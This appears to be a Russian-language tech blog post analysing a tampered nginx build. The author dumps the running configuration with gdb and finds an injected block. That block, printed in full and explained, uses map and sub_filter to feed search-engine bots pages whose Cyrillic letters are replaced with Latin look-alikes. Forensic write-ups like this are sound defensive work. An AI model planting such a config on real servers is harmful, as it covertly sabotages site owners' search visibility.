Пренеприятнейшая история случилась с одним моим знакомым. Но насколько она оказалась неприятной для Михаила, настолько же занимательной для меня.
Если моя мысль верна и проблема только в переменной
ngx_dump_config попробуем установить её c помощью gdb, благо ключик --with-cc-opt -g присутствует и надеемся, что оптимизация -O2 нам не помешает. При этом, раз я не знаю как ngx_dump_config могла быть обработана в case 'T':, не будем вызывать этот блок, а установим её используя case 't':По шагам:
– устанавливаем точку останова в функции
main()– запускаем программу
– изменяем значение переменной определяющей вывод конфига
ngx_dump_config=1– продолжаем/завершаем программу
Как видим реальный конфиг отличается от нашего, выделяем из него паразитный кусок:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;🔍 Рассмотрим по порядку что же здесь происходит.
Определяются User-Agent'ы yandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}Исключаются служебные страницы wordpress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}И для тех, кто попал под оба вышеперечисленных условия
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}в тексте html-страницы изменяется 'о' на 'o' и 'а' на 'a':
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;Именно так, тонкость только в том что 'а' != 'a' так же как и 'о' != 'o'
Таким образом боты поисковых систем получают вместо нормального 100%-кириллического текста модифицированный мусор разбавленный латинскими 'a' и 'o'.
#Linux #nginx #unix | ✋ @iscode
